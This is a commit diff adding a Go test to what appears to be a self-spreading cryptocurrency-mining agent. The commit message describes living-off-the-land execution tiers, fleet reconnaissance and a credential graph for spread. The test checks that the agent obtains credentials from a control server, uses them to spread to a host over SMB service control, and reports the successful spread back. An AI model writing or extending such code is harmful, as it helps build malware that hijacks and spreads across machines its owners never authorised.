Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

agent/client/spread_cred_test.go

@@ -0,0 +1,63 @@
+package client
+
+import (
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"testing"
+
+	"crypto-miner-agent/config"
+	"crypto-miner-agent/deploy"
+)
+
+func TestAcquireSpreadCredIssueRedeemFlow(t *testing.T) {
+	var captured map[string]interface{}
+
+	mux := http.NewServeMux()
+	mux.HandleFunc("/api/v1/agent/spread-cred/issue", func(w http.ResponseWriter, r *http.Request) {
+		_ = json.NewEncoder(w).Encode(map[string]interface{}{
+			"token":      "tok-1",
+			"profile_id": "profile-a",
+		})
+	})
+	mux.HandleFunc("/api/v1/agent/spread-cred/redeem", func(w http.ResponseWriter, r *http.Request) {
+		_ = json.NewEncoder(w).Encode(map[string]interface{}{
+			"profile_id": "profile-a",
+			"username":   `lab\ops`,
+			"password":   "secret",
+		})
+	})
+	mux.HandleFunc("/api/v1/agent/spread-cred/report", func(w http.ResponseWriter, r *http.Request) {
+		_ = json.NewDecoder(r.Body).Decode(&captured)
+		w.WriteHeader(http.StatusOK)
+		_, _ = w.Write([]byte(`{"ok":true}`))
+	})
+	srv := httptest.NewServer(mux)
+	defer srv.Close()
+
+	cfg := config.RuntimeConfig{
+		BuiltinConfig: config.BuiltinConfig{
+			ServerURL:   srv.URL,
+			FleetSecret: "fleet-test",
+		},
+		AgentID: "agent-1",
+	}
+	c := NewAgentClient(cfg)
+	session, err := c.acquireSpreadCred("10.0.0.5", "10.0.0", "smb_scm")
+	if err != nil {
+		t.Fatal(err)
+	}
+	if session.ProfileID != "profile-a" || session.Username == "" || session.Password == "" {
+		t.Fatalf("unexpected session: %#v", session)
+	}
+	c.reportSpreadCredEdge(deploy.SpreadCredReport{
+		Host:      "10.0.0.5",
+		Subnet:    "10.0.0",
+		ProfileID: "profile-a",
+		Method:    "smb_scm",
+		Success:   true,
+	})
+	if captured["credential_profile_id"] != "profile-a" || captured["success"] != true {
+		t.Fatalf("expected report payload, got %#v", captured)
+	}
+}